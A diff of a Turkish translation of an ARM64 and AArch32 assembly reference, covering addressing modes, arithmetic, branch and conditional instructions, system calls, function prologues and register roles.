-- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir.
-- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar.
-- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar.
-- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle.
-- **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır.
-- `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller.
-- **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır.
-- `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir.
-- **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**.
-- Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna saklar.
-- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
-- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8`'deki bellek konumlarından yükler.
-- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur.
-- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8`'deki bellek konumlarına saklar.
-- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i sırasıyla `sp+16` ve `sp + 24`'deki bellek konumlarına saklar ve `sp`'yi `sp+16` ile günceller.
-- **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar.
+- **`mov`**: Bir değeri bir registerdan diğerine **taşır**.
+- Örnek: `mov x0, x1` — `x1`'deki değeri `x0`'a taşır.
+- **`ldr`**: Bellekten bir değeri bir registera **yükler**.
+- Örnek: `ldr x0, [x1]` — `x1`'in işaret ettiği bellek konumundan değeri `x0`'a yükler.
+- **Offset mode**: Orijin pointer'ını etkileyen bir offset belirtilir, örneğin:
+- `ldr x2, [x1, #8]` — bu x1 + 8 adresinden değeri x2'ye yükler
+- `ldr x2, [x0, x1, lsl #2]` — bu x2'ye x0 dizisinden x1 (index) * 4 pozisyonundaki nesneyi yükler
+- **Pre-indexed mode**: Bu mod orijine hesaplamaları uygulayıp sonucu alır ve ayrıca yeni orijini orijine yazar.
+- `ldr x2, [x1, #8]!` — bu `x1 + 8`'i `x2`'ye yükler ve `x1`'e `x1 + 8` sonucunu yazar
+- `str lr, [sp, #-4]!` — Link register'ı sp'ye kaydeder ve sp'yi günceller
+- **Post-index mode**: Öncekine benzer, ancak bellek adresine önce erişilir, sonra offset hesaplanıp saklanır.
+- `ldr x0, [x1], #8` — `x1`'i `x0`'e yükler ve `x1`'i `x1 + 8` ile günceller
+- **PC-relative addressing**: Yüklenecek adres PC registerına göre hesaplanır
+- `ldr x1, =_start` — bu mevcut PC'ye göre `_start` sembolünün başladığı adresi x1'e yükler.
+- **`str`**: Bir registerdaki değeri belleğe **yazar**.
+- Örnek: `str x0, [x1]` — `x0`'daki değeri `x1`'in işaret ettiği bellek konumuna yazar.
+- **`ldp`**: İki registerı **ardışık bellek** konumlarından **yükler**. Bellek adresi genellikle başka bir register değeri ile offset eklenerek oluşturulur.
+- Örnek: `ldp x0, x1, [x2]` — `x2` ve `x2 + 8` adreslerinden sırasıyla `x0` ve `x1`'i yükler.
+- **`stp`**: İki registerı **ardışık bellek** konumlarına **yazar**. Bellek adresi genellikle başka bir register ile offset eklenerek oluşturulur.
+- Örnek: `stp x0, x1, [sp]` — `x0` ve `x1`'i `sp` ve `sp + 8` adreslerine yazar.
+- `stp x0, x1, [sp, #16]!` — `x0` ve `x1`'i `sp+16` ve `sp+24` adreslerine yazar ve `sp`'yi `sp+16` ile günceller.
+- **`add`**: İki registerın değerini toplar ve sonucu bir registera yazar.
 - Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
 - Xn1 -> Hedef
-- Xn2 -> Operatör 1
-- Xn3 | #imm -> Operatör 2 (kayıt veya anlık)
-- \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır
-- Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar.
-- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmıştır) -> 1 0000 0000 0000 0000
-- **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller.
-- **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar.
-- **`add`** **söz dizimini** kontrol edin.
-- Örnek: `sub x0, x1, x2` — Bu, `x2`'deki değeri `x1`'den çıkarır ve sonucu `x0`'da saklar.
-- **`subs`** Bu, çıkarma işlemi yapar ancak bayrağı günceller.
-- **`mul`**: İki kaydın değerlerini çarpar ve sonucu bir kayıtta saklar.
-- Örnek: `mul x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri çarpar ve sonucu `x0`'da saklar.
-- **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar.
-- Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar.
+- Xn2 -> Operand 1
+- Xn3 | #imm -> Operand 2 (register veya immediate)
+- \[shift #N | RRX] -> Bir shift uygula veya RRX kullan
+- Örnek: `add x0, x1, x2` — `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'a yazar.
+- `add x5, x5, #1, lsl #12` — bu 4096'ya eşittir (1'i 12 kez sola kaydırmak) -> 1 0000 0000 0000 0000
+- **`adds`**: `add` yapar ve flag'leri günceller.
+- **`sub`**: İki registerın farkını alır ve sonucu bir registera yazar.
+- `add` söz dizimini kontrol edin.
+- Örnek: `sub x0, x1, x2` — `x1`'den `x2`'yi çıkarır ve sonucu `x0`'a yazar.
+- **`subs`**: Flag'leri güncelleyerek sub yapar.
+- **`mul`**: İki registerın çarpımını alır ve sonucu bir registera yazar.
+- Örnek: `mul x0, x1, x2` — `x1` ve `x2`'yi çarpar ve sonucu `x0`'a yazar.
+- **`div`**: Bir registerın değerini diğerine böler ve sonucu bir registera yazar.
+- Örnek: `div x0, x1, x2` — `x1`'i `x2`'ye böler ve sonucu `x0`'a yazar.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Mantıksal kaydırma sola**: Diğer bitleri ileri kaydırarak uçtan 0 ekler (n kez 2 ile çarpma).
-- **Mantıksal kaydırma sağa**: Diğer bitleri geri kaydırarak başa 1 ekler (imzasız olarak n kez 2 ile bölme).
-- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı olarak n kez 2 ile bölme).
-- **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir.
-- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Böylece taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir.
-- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir.
-- Bit alanı taşıma: `BFM Xd, Xn, #r`
-- İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
-- İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
-- **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar.
-- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle.
-- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala.
-- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla.
-- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar, işaret uzat ve sonucu X1'e yerleştir.
-- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla.
-- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar ve sıfır uzatılmış sonucu X1'e yerleştir.
-- **İşareti X'e Uzatma:** Bir değerin işaretini (veya imzasız versiyonunda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz:
-- **`SXTB X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır (`W2`, `X2`'nin yarısıdır) ve 64 bit doldurur.
-- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının işaretini uzatır ve 64 bit doldurur.
-- **`SXTW X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır ve 64 bit doldurur.
-- **`UXTB X1, W2`** W2'den **X1'e** bir bayta 0 ekler (imzasız) ve 64 bit doldurur.
-- **`extr`:** Belirtilen **bir çift kayıttan bitleri çıkarır**.
-- Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar.
-- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'nin bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır.
-- **`subs`** ile aynı söz dizimini destekler.
-- Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar.
-- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'nin bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır.
-- **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır.
-- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla.
-- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE`** olduğunda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0'a ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez).
-- Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi).
-- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu herhangi bir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki herhangi bir bitin 1 olup olmadığını kontrol etmek için yararlıdır.
-- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et.
-- **`teq`**: Sonucu göz ardı ederek XOR işlemi.
-- **`b`**: Koşulsuz Dal.
+- **Logical shift left**: Diğer bitleri öne kaydırarak sondan 0 ekler (2 ile çarpma etkisi).
+- **Logical shift right**: Diğer bitleri geriye kaydırarak başa 0 ekler (işaretsiz bölme ile ilişkilidir).
+- **Arithmetic shift right**: `lsr` gibi, ancak en anlamlı bit 1 ise başa 1 ekler (işaretli bölme ile ilişkilidir).
+- **Rotate right**: `lsr` gibi ama sağdan çıkarılan bitler sola eklenir.
+- **Rotate Right with Extend**: `ror` gibi ama carry flag en anlamlı bit olarak kullanılır. Böylece carry flag bit 31'e taşınır ve çıkarılan bit carry flag'e konur.
+- **`bfm`**: Bit Field Move; bu işlemler bir değerden `0...n` arası bitleri kopyalar ve onları `m..m+n` pozisyonlarına yerleştirir. **`#s`** en sol bit pozisyonunu ve **`#r`** rotate right miktarını belirtir.
+- Bitfield move: `BFM Xd, Xn, #r`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
+- **Bitfield Extract and Insert:** Bir registerdan bitfield kopyalar ve başka bir registera yapıştırır.
+- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden itibaren 4 bit ekler
+- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden itibaren dört bit çıkarır ve X1'e kopyalar
+- **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti işaret genişlemesi ile X1'e bit pozisyonu 3'ten başlayarak ekler ve sağdaki bitleri sıfırlar
+- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, işaret genişletir ve sonucu X1'e koyar
+- **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır genişlemesi ile X1'e ekler ve sağdaki bitleri sıfırlar
+- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır genişletilmiş sonucu X1'e koyar.
+- **Sign Extend To X:** Bir değerin işaretini genişletir (veya işaretsiz sürümünde sadece 0 ekler) böylece işlem yapabilsin:
+- **`SXTB X1, W2`** W2'den bir byte'ın işaretini X1'e uzatır (`W2`, `X2`'nin yarısı) 64 biti doldurmak için
+- **`SXTH X1, W2`** 16-bit bir sayının işaretini W2'den X1'e uzatır
+- **`SXTW X1, W2`** W2'den bir word'ın işaretini X1'e uzatır
+- **`UXTB X1, W2`** W2'den bir byte'ı X1'e sıfır genişlemesi ile koyar (unsigned)
+- **`extr`**: Belirtilen iki registerın birleştirilmiş eşinden bitler çıkarır.
+- Örnek: `EXTR W3, W2, W1, #3` Bu W1+W2'yi birleştirir ve W2'nin 3. bitinden W1'in 3. bitine kadar alıp W3'e koyar.
+- **`cmp`**: İki registerı karşılaştırır ve koşul flag'lerini ayarlar. Bu, **`subs`**'in bir alias'ıdır ve hedef register'ı sıfır register'ına ayarlar. `m == n` bilgisini almak için kullanışlıdır.
+- `subs` ile aynı söz dizimini destekler.
+- Örnek: `cmp x0, x1` — `x0` ve `x1`'i karşılaştırır ve koşul flag'lerini ayarlar.
+- **`cmn`**: Negatif karşılaştırma. Bu durumda **`adds`**'in alias'ıdır ve aynı söz dizimini destekler. `m == -n` kontrolü için kullanışlıdır.
+- **`ccmp`**: Koşullu karşılaştırma; önceki karşılaştırma doğruysa gerçekleştirilir ve özellikle nzcv bitlerini ayarlar.
+- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise func'a atla
+- Bunun nedeni, **`ccmp`** yalnızca önceki `cmp`'in `NE` olduğu durumda yürütülür; eğer değilse nzcv bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını sağlamaz).
+- Bu ayrıca `ccmn` (aynı fakat negatif, `cmp` vs `cmn` gibi) olarak da kullanılabilir.
+- **`tst`**: Karşılaştırılan değerlerin herhangi birinin 1 olup olmadığını kontrol eder (bir ANDS gibi çalışır ama sonucu hiçbir yere yazmaz). Bir register'ı bir değerle kontrol edip belirtilen bitlerden herhangi birinin 1 olup olmadığını test etmek için kullanışlıdır.
+- Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi biri 1 mi diye kontrol eder
+- **`teq`**: Sonucu yok sayarak XOR işlemi yapar
+- **`b`**: Koşulsuz Branch
 - Örnek: `b myFunction`
-- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
-- **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar.
-- Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
-- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir).
-- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilerek** bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu
-- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
-- **`ret`**: **Alt programdan dön**, genellikle **`x30`**'daki adresi kullanarak.
-- Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır.
-- **`b.<cond>`**: Koşullu dallar.
-- **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak.
-- Örnek: `b.eq label` — Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar.
-- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar.
-- Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1`'deki değerler eşit değilse, bu `label`'a atlar.
-- **`cbz`**: **Sıfır ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar.
-- Örnek: `cbz x0, label` — Eğer `x0`'daki değer sıfırsa, bu `label`'a atlar.
-- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar.
-- Örnek: `cbnz x0, label` — Eğer `x0`'daki değer sıfır değilse, bu `label`'a atlar.
-- **`tbnz`**: Bit testi ve sıfır olmayan durumda dal.
+- Bu, link register'ı dönüş adresiyle doldurmaz (geri dönmesi gereken alt rutin çağrıları için uygun değil)
+- **`bl`**: Link ile Branch, bir alt rutini **çağırmak** için kullanılır. Döngü adresini `x30`'a kaydeder.
+- Örnek: `bl myFunction` — `myFunction`'ı çağırır ve dönüş adresini `x30`'a kaydeder.
+- **`blr`**: Register'a Branch with Link; hedef adres registerda belirtildiğinde alt rutini çağırmak için kullanılır. Döndürme adresini `x30`'a kaydeder.
+- Örnek: `blr x1` — `x1`'deki adrese çağrı yapar ve dönüş adresini `x30`'a kaydeder.
+- **`ret`**: Alt rutinden dönüş, tipik olarak `x30`'daki adresi kullanır.
+- Örnek: `ret` — Mevcut alt rutininden `x30`'daki dönüş adresi ile döner.
+- **`b.<cond>`**: Koşullu dallanmalar
+- **`b.eq`**: Eşitse dallan (önceki `cmp`'e bağlı).
+- Örnek: `b.eq label` — Eğer önceki `cmp` iki değeri eşit bulduysa `label`'a atlar.
+- **`b.ne`**: Eşit değilse dallan. Bu talimat, koşul flag'lerini kontrol eder ve eğer karşılaştırılan değerler eşit değilse belirtilen etikete veya adrese dallanır.
+- Örnek: `cmp x0, x1` sonrası `b.ne label` — Eğer `x0` ve `x1` eşit değilse `label`'a atlar.
+- **`cbz`**: Sıfırla karşılaştır ve dallan. Bir registerı sıfırla karşılaştırır, eğer sıfırsa dallanır.
+- Örnek: `cbz x0, label` — `x0` sıfırsa `label`'a atlar.
+- **`cbnz`**: Sıfır olmayanla karşılaştır ve dallan. Bir registerı sıfırla karşılaştırır, eğer sıfır değilse dallanır.
+- Örnek: `cbnz x0, label` — `x0` sıfır değilse `label`'a atlar.
+- **`tbnz`**: Bit testi ve sıfır değilse dallan
 - Örnek: `tbnz x0, #8, label`
-- **`tbz`**: Bit testi ve sıfır durumunda dal.
+- **`tbz`**: Bit testi ve sıfırsa dallan
 - Örnek: `tbz x0, #8, label`
-- **Koşullu seçim işlemleri**: Bu işlemler, davranışlarının koşullu bitlere bağlı olarak değiştiği işlemlerdir.
-- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer doğruysa, X0 = X1, eğer yanlışsa, X0 = X2.
-- `csinc Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = Xm + 1.
-- `cinc Xd, Xn, cond` -> Eğer doğruysa, Xd = Xn + 1, eğer yanlışsa, Xd = Xn.
-- `csinv Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = NOT(Xm).
-- `cinv Xd, Xn, cond` -> Eğer doğruysa, Xd = NOT(Xn), eğer yanlışsa, Xd = Xn.
-- `csneg Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = - Xm.
-- `cneg Xd, Xn, cond` -> Eğer doğruysa, Xd = - Xn, eğer yanlışsa, Xd = Xn.
-- `cset Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = 1, eğer yanlışsa, Xd = 0.
-- `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \<tüm 1>, eğer yanlışsa, Xd = 0.
-- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir kayıtta saklar.
-- Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar.
-- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükler ve **64 bit'e işaret uzatır**.
-- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar.
-- **`stur`**: Bir kayıt değerini bir bellek konumuna saklar, başka bir kayıttan bir offset kullanarak.
-- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'daki değeri `x1`'deki adrese 4 byte ekleyerek saklar.
-- **`svc`** : Bir **sistem çağrısı** yapar. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar.
+- **Koşullu seçim işlemleri**: Davranışı koşul bitlerine göre değişen işlemler.
+- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer true ise X0 = X1, değilse X0 = X2
+- `csinc Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = Xm + 1
+- `cinc Xd, Xn, cond` -> Eğer true ise Xd = Xn + 1, değilse Xd = Xn
+- `csinv Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = NOT(Xm)
+- `cinv Xd, Xn, cond` -> Eğer true ise Xd = NOT(Xn), değilse Xd = Xn
+- `csneg Xd, Xn, Xm, cond` -> Eğer true ise Xd = Xn, değilse Xd = - Xm
+- `cneg Xd, Xn, cond` -> Eğer true ise Xd = - Xn, değilse Xd = Xn
+- `cset Xd, Xn, Xm, cond` -> Eğer true ise Xd = 1, değilse Xd = 0
+- `csetm Xd, Xn, Xm, cond` -> Eğer true ise Xd = \<all 1>, değilse Xd = 0
+- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir registera kaydeder.
+- Örnek: `adrp x0, symbol` — `symbol`'ün sayfa adresini hesaplar ve `x0`'a koyar.
+- **`ldrsw`**: Bellekten işaretli 32-bit bir değeri yükler ve **64-bit'e işaret genişletmesi** ile kaydeder.
+- Örnek: `ldrsw x0, [x1]` — `x1`'in işaret ettiği bellekten işaretli 32-bit değeri yükler, 64-bit'e genişletir ve `x0`'a koyar.
+- **`stur`**: Bir register değerini başka bir registerdan offset kullanarak bir bellek konumuna yazar.
+- Örnek: `stur x0, [x1, #4]` — `x0`'daki değeri `x1`'in işaret ettiği adresin 4 bayt sonrasındaki adrese yazar.
+- **`svc`**: System call yapmak için kullanılır. "Supervisor Call" anlamına gelir. Bu talimat çalıştırıldığında işlemci user modundan kernel moduna geçer ve kernel'in system call handling kodunun bulunduğu belirli bir bellek konumuna atlar.
 
 - Örnek:
 
 ```armasm
-mov x8, 93  ; Çıkış için sistem çağrı numarasını (93) x8 kaydına yükle.
-mov x0, 0   ; Çıkış durum kodunu (0) x0 kaydına yükle.
-svc 0       ; Sistem çağrısını yap.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
+mov x0, 0   ; Load the exit status code (0) into register x0.
+svc 0       ; Make the system call.
 ```
 
-### **Fonksiyon Prologu**
+### **Function Prologue**
 
-1. **Bağlantı kaydını ve çerçeve işaretçisini yığına kaydet**:
+1. **Link register ve frame pointer'ı yığına kaydet**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar)  
-3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, <size>` (burada `<size>`, gereken byte sayısını ifade eder)
+2. **Yeni çerçeve işaretçisini ayarla**: `mov x29, sp` (geçerli fonksiyon için yeni çerçeve işaretçisini ayarlar)
+3. **Yerel değişkenler için stack'te alan ayır (gerekirse)**: `sub sp, sp, <size>` (burada `<size>` gerekli bayt sayısıdır)
 
 ### **Fonksiyon Epilogu**
 
-1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, <size>`  
-2. **Bağlantı kaydını ve çerçeve işaretçisini geri yükleyin**:
+1. **Yerel değişkenler için ayrılan alanı geri al (varsa)**: `add sp, sp, <size>`
+2. **link register'ı ve çerçeve işaretçisini geri yükle**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
-3. **Return**: `ret` (kontrolü çağırana geri döner, bağlantı kaydındaki adresi kullanarak)
+3. **Dönüş**: `ret` (bağlantı kaydındaki adresi kullanarak kontrolü çağırana geri verir)
 
-## AARCH32 İcra Durumu
+## AARCH32 Yürütme Durumu
 
-Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\
-**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit'e bir istisna seviyesi transferi gerçekleştirerek **32-bit** programların **çalıştırılmasını** planlayabilir.\
-64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işlenmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini** **1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.**
+Armv8-A, 32-bit programların yürütülmesini destekler. **AArch32** iki farklı **komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve bunlar arasında **`interworking`** ile geçiş yapabilir.\
+**Ayrıcalıklı** 64-bit programlar, daha düşük ayrıcalıklı 32-bit programların **yürütülmesini** daha düşük istisna seviyesine aktararak planlayabilir.\
+64-bit'ten 32-bit'e geçişin daha düşük bir istisna seviyesiyle gerçekleştiğini unutmayın (örneğin EL1'deki bir 64-bit programın EL0'de bir programı tetiklemesi). Bu, `AArch32` işlem iş parçacığı yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünün 1 olarak** ayarlanmasıyla yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programının CPSR değerini saklar. Ardından ayrıcalıklı süreç **`ERET`** komutunu çağırır; böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.**
 
-**`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
-Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek:
+**`interworking`** CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir; `J=0` ve `T=1` ise **T32** anlamına gelir. Bu temelde komut setinin T32 olduğunu belirtmek için **en düşük bitin 1 olarak ayarlanması** demektir.\
+Bu, **interworking branch instructions,** sırasında ayarlanır; ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla doğrudan da ayarlanabilir. Örnek:
 
 Başka bir örnek:
 ```armasm
@@ -264,60 +266,60 @@ mov r0, #8
 ```
 ### Kayıtlar
 
-16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır:
+16 adet 32-bit kayıt vardır (r0-r15). **r0 ile r14 arasında** herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır:
 
-- **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4.
-- **`r11`**: Çerçeve İşaretçisi
-- **`r12`**: Prosedür içi çağrı kaydı
-- **`r13`**: Yığın İşaretçisi
-- **`r14`**: Bağlantı Kaydı
+- **`r15`**: Program counter (her zaman). Bir sonraki komutun adresini içerir. A32'de current + 8, T32'de current + 4.
+- **`r11`**: Frame Pointer
+- **`r12`**: Intra-procedural call register
+- **`r13`**: Stack Pointer (Not: yığın her zaman 16-byte hizalıdır)
